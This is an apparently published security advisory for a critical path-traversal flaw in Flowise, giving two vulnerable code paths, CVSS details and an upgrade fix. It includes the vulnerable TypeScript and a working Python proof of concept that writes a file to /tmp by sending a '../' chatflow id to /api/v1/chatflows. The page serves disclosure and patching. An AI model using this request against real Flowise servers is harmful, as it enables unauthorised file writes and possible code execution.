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CVE-2025-71334

CRITICAL

Flowise has arbitrary file access due to missing chat flow id validation

Published September 15, 2025Updated July 8, 2026Source: osv

Summary

### Summary Missing chat flow id validation allows an attacker to access arbitrary file. ### Details Commit https://github.com/FlowiseAI/Flowise/commit/8bd3de41533de78e4ef6c980e5704a1f9cb7ae6f and https://github.com/FlowiseAI/Flowise/commit/c2b830f279e454e8b758da441016b2234f220ac7 added check for `filename` when handling file upload operations to prevent path traversal, and additional validation of `chatflowId` and `chatId` from route `/api/v1/attachments`. In some cases, however, `chatflowId` and `chatId` are not validated to ensure they are UUIDs or numbers, which may lead to security issues. **Case 1** When creating new chatflow via `/api/v1/chatflows`, function `addBase64FilesToStorage` is called if there exists base64 file data. Although the `filename` is sanitized, the `chatflowid` comes from request body directly without any validation. An attacker could exploit the path traversal here to write arbitrary file with controlled data. ```typescript export const addBase64FilesToStorage = async (fileBase64: string, chatflowid: string, fileNames: string[]) => { // ... } else { const dir = path.join(getStoragePath(), chatflowid) // path traversal here if (!fs.existsSync(dir)) { fs.mkdirSync(dir, { recursive: true }) } const splitDataURI = fileBase64.split(',') const filename = splitDataURI.pop()?.split(':')[1] ?? '' const bf = Buffer.from(splitDataURI.pop() || '', 'base64') const sanitizedFilename = _sanitizeFilename(filename) const filePath = path.join(dir, sanitizedFilename) fs.writeFileSync(filePath, bf) fileNames.push(sanitizedFilename) return 'FILE-STORAGE::' + JSON.stringify(fileNames) } } ``` **Case 2** When downloading file via `/api/v1/openai-assistants-file/download` or `/api/v1/get-upload-file`, function `streamStorageFile` is called to retrieve file data from local or cloud bucket. The `chatflowId` and `chatId` are used for file path generation. Take Amazon S3 as an example, its [[documentation indicates](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines)](https://docs.aws.amazon.com/AmazonS3/latest/userguide/object-keys.html#object-key-guidelines) that `../` will be treated as relative path. Note that these APIs are in `WHITELIST_URLS`, an attacker may traverse user storage files without authentication. ### PoC Launch app at localhost with default config, then run the following python script, a file named 'pwn' will be written to dir `/tmp` with content 'Hello, World!'. ```python import requests import json url = "http://localhost:8080/api/v1/chatflows" headers = {"x-request-from": "internal"} nodedata = { "category" : "Document Loaders", "inputs" : { "key" : "data:text/plain;base64,SGVsbG8sIFdvcmxkIQ==,a:pwn" } } flownode = { "id" : "a", "data" : nodedata } flowdata = { "nodes" : [flownode], "edges" : [], "viewport" : { "x" : 1, "y" : 1, "zoom" : 1 } } data = { "id" : "../../../../../tmp", "name" : "name", "flowData" : json.dumps(flowdata) } res = requests.post(url, json=data, headers=headers) ``` ### Impact 1. Arbitrary file read / write 2. Remote Code Execution 3. Data loss

Remediation

Upgrade to the fixed version using your package manager.

npm
Update flowise to 3.0.6 or later
npm install flowise@3.0.6

After upgrading, run your dependency scanner again to confirm the vulnerability is resolved.

Affected Packages (1)

PackageEcosystemAffectedFixed In
flowise
npm
All versions3.0.6

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.8 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2025-71334?
Flowise has arbitrary file access due to missing chat flow id validation This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.8/10).
How do I check if my project is affected by CVE-2025-71334?
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Severity & Exploitability

CVSS Score
9.8

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-q67q-549q-p849

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